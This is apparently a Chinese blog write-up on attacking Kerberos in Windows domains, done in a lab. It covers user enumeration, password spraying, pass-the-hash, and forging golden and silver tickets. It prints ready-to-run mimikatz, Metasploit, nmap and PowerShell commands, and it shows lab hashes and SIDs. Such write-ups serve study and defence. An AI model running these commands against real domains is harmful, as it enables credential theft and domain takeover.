内网渗透之kerberos协议攻击面分析

前言

本文对kerberos协议中的各个角度的攻击方式进行分析总结

image-20200907132626500

对于Kerberos协议的分析可以参考文章:https://xz.aliyun.com/t/8187

正文

我们知道在Kerberos协议中有三方参与,分别是ClientServerKDS,,并且在KDS中分别有AS-身份认证服务TGS-票据授予服务,其中AS的作用就是用来验证Client端的身份,验证通过后,AS就会分发TGT票据ClientClient借助该TGT票据,向TGS-票据认证服务发送请求,TGS-票据授予服务发放ST服务票据Client…..

AS-REQ&&AS-REP

AS-REQ

AS-REQ这个阶段,当某个域用户试图访问域中的某个服务时,输入用户名和密码,本机的Kerberos服务会向KDCAS认证服务发送一个AS-REQ认证请求。在这一阶段,可能会发生的攻击手法有域用户枚举

hash传递攻击

会使用hash传递攻击的原因

1
2
3
(1)在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。

(2)在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成.攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

使用hash传递攻击用很多方法,比如使用mimikatzmsf-PsExec,其实作用都差不多,其目的都是通过已获得的hash值传递至其他机器,进行权限认证,进行模拟用户,实现对计算机的控制

参考文章:哈希传递攻击利用(Pass The Hash)

PS:实际上我自己有点疑惑,在使用mimikatz或者msf进行攻击的时候,并没有抓到AS-REQ的请求包,因为这个攻击手法是基于NTLM协议的。

域用户枚举

Kerberos协议中在AS阶段,Client发送AS-REQ请求,请求字段中的cname是否在Kerberos协议中真实存在,将返回不同的AS-REP数据包,域用户枚举的攻击手法一般有三种:

1
2
3
4
5
1)msf中的auxiliary/gather/kerberos_enumusers

2)Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]

3)Nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list] [DC IP]

但是不管哪一种攻击都需要被攻击的主机需要开启88端口.

先把内网的流量转发出来,然后nmap扫描是否打开88端口.

image-20200910213758996

然后使用msf中的auxiliary/gather/kerberos_enumusers进行攻击

image-20200910214250661

本质上用户枚举是通过Kerberos错误代码来加以利用

1
2
3
KDC_ERR_PREAUTH_REQUIRED 需要额外的预认证 => 目前/已启用
KDC_ERR_CLIENT_REVOKED 客户端凭证已被吊销 => 锁定/禁用
KDC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端 => 不存在

看到如下两种情况:

image-20200910214533089

image-20200910214832332

密码喷洒攻击

许多渗透测试人员和攻击者通常都会使用一种被称为“密码喷洒(Password Spraying)”的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。攻击者首先会从他们已有的密码列表开始尝试,并以最脆弱的密码开始(“Fall2017”,“Winter2018”“123456”等)入手。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。

参考:如何通过审计安全事件日志检测密码喷洒(Password Spraying)攻击

1
2
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 密码

image-20200910232109726

image-20200910232045336

利用工具DomainPasswordSpray,对域用户执行密码喷洒攻击。

PS:在抓包过程中,发现这个攻击手法实际上也不是基于Kerberos协议的,而且LDAP协议在发挥作用,DomainPasswordSpray在默认情况下,将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。

image-20200910234223632

从流量可以看到此时正在进行密码喷洒攻击。

AS-REP

AS-REP这个阶段,当某个域用户试图访问域中的某个服务时,输入用户名和密码后,,KDC中的AS-身份认证收到AS-REQ之后将会返回一个AS-REP其中包含的TGT票据,将成为下一阶段重要的认证凭据。此时可能会发生黄金票据攻击AS-REP Roasting攻击

黄金票据攻击

Kerberos协议认证过过程中,KDC返回的AS-REP其中的TGT票据。

在生成TGT票据的过程中,user,domain,timestamp以及一些权限信息将会经过krbtgt账户hash的加密。所以换言之,如果TGT被伪造,就跳过了AS认证,因为已经有了TGT票据,就可以直接进行第二次认证,就可以和任意的Server进行通信。而伪造的TGT票据就叫做黄金票据

image-20200911133954249

KDC返回的AS-REP数据包中有两个部分的数据

一部分:Client NTLM-Hash加密的Login Session-key

一部分:TGTkrbtgt域账户NTLM-Hash加密的Session-Key asClient-infotimestamp

使用黄金票据,通常在拿下域控后,用来作权限维持的一种方式。因为krbtgt域账户的密码基本不会更改,即使域管密码被修改,它也不会改变。

创建黄金票据,我们需要知道以下信息:

1
2
3
4
5
6
7
要伪造的域用户(这里我们一般填写域管理员账户)

域名

域的SID值(域成员SID值去掉最后的)

krbtgt账号的hash值或AES-256

测试环境:

域:god.org

域成员:192.168.3.14 10.10.10.80

域成员:10.10.10.201

域控:10.10.10.10

参考:黄金票据(Golden Ticket)的原理与实践

在域控下运行mimikatz

获取krbtgt的SID和hash值

1
mimikatz log "lsadump::dcsync  /domain:tide.org /user:krbtgt"

image-20200911185813035

image-20200911185902476

获取到SID和hash

1
2
3
SID:S-1-5-21-2952760202-1353902439-2381784089(后面的502不要了)
Hash NTLM:58e91a5ac358d86513ab224312314061
domain:god.org

获得SIDhash之后,我们就能在生成票据了,PS:生成票据和导入票据要在管理员权限下进行

这时候我们在一台域用户中进行操作

1
2
3
4
5
6
7
8
9
10
11
# 清除票据缓存
kerberos::purge

# 生成票据
kerberos::golden /admin:Administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:Administrator.kiribi

# 导入票据
kerberos::ptt Administrator.kiribi

# 查看票据
kerberos::list

在导入票据后,票据将被导入至内存中。

image-20200914164822626

在导入票据后,可尝试访问域控

image-20200914164939393

那么其实这么说来,在获得域控后,通过伪造票据实际上,我们可以伪造成任何一个用户,但是一般情况下,我们伪造域控管理员的票据就好了,用于权限提升,权限维持,利用黄金票据做权限维持的杀伤力还是蛮大的。

参考:https://www.anquanke.com/post/id/172900#h2-5

AS-REP Roasting攻击

这个攻击的局限性实在是太大了,个人认为在实战的过程中,应该可行性,不大吧…..

参考文章:

https://blog.csdn.net/shuteer_xu/article/details/106066628

https://blog.csdn.net/qq_36119192/article/details/105076459

TGS-REQ&&TGS-REP

这一阶段可能存在的攻击在TGS-REP阶段

TGS-REP

Client发起TGS-REQ请求的目的就是获得一个ST票据,因为当Client需要访问某服务器中的某服务时,需要"门票"--ST服务票据,而在TGS-REP阶段就是为了返回一个ST服务票据

白银票据攻击

回顾一下黄金票据攻击的必要条件:

1
2
3
4
5
6
7
要伪造的域用户(这里我们一般填写域管理员账户)

域名

域的SID值(域成员SID值去掉最后的)

krbtgt账号的hash值或AES-256

这样我们可以直接使用这些信息来伪造一个TGT票据来绕过用户身份的认证,因为这些信息是不会变的,域管理员的密码可能会被更改,伪造的这个票据可以让我们伪装成比如域控管理员这样的高权限用户,去请求任何域内服务。这是黄金票据,发生在身份认证阶段。

白银票据则是发生在TGS-REP阶段,白银票据的利用过程是伪造一个ST服务票据,通过获得服务的服务账号和密码来生成一张可以访问该服务的ST服务票据。白银票据会通过相应的服务账号来伪造ST服务票据,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

注意:但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。

比如使用白银票据伪造CIFS,和黄金票据的攻击手法一样,就是权限没有那么高

(1)使用mimikatz获得服务账号的NTLM哈希值

1
2
privilege::Debug
sekurlsa::logonpasswords

(2)进行白银票据攻击

1
kerberos::golden /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477(SID) /target:WIN2008.xie.com /service:cifs /rc4:290c699798b47b809500b3bbd4ed3e2f(NTML-HASH) /user:administrator /ptt
Author: 我是小吴啦
Link: http://yoursite.com/2020/09/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8Bkerberos%E5%8D%8F%E8%AE%AE%E6%94%BB%E5%87%BB%E9%9D%A2%E5%88%86%E6%9E%90/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.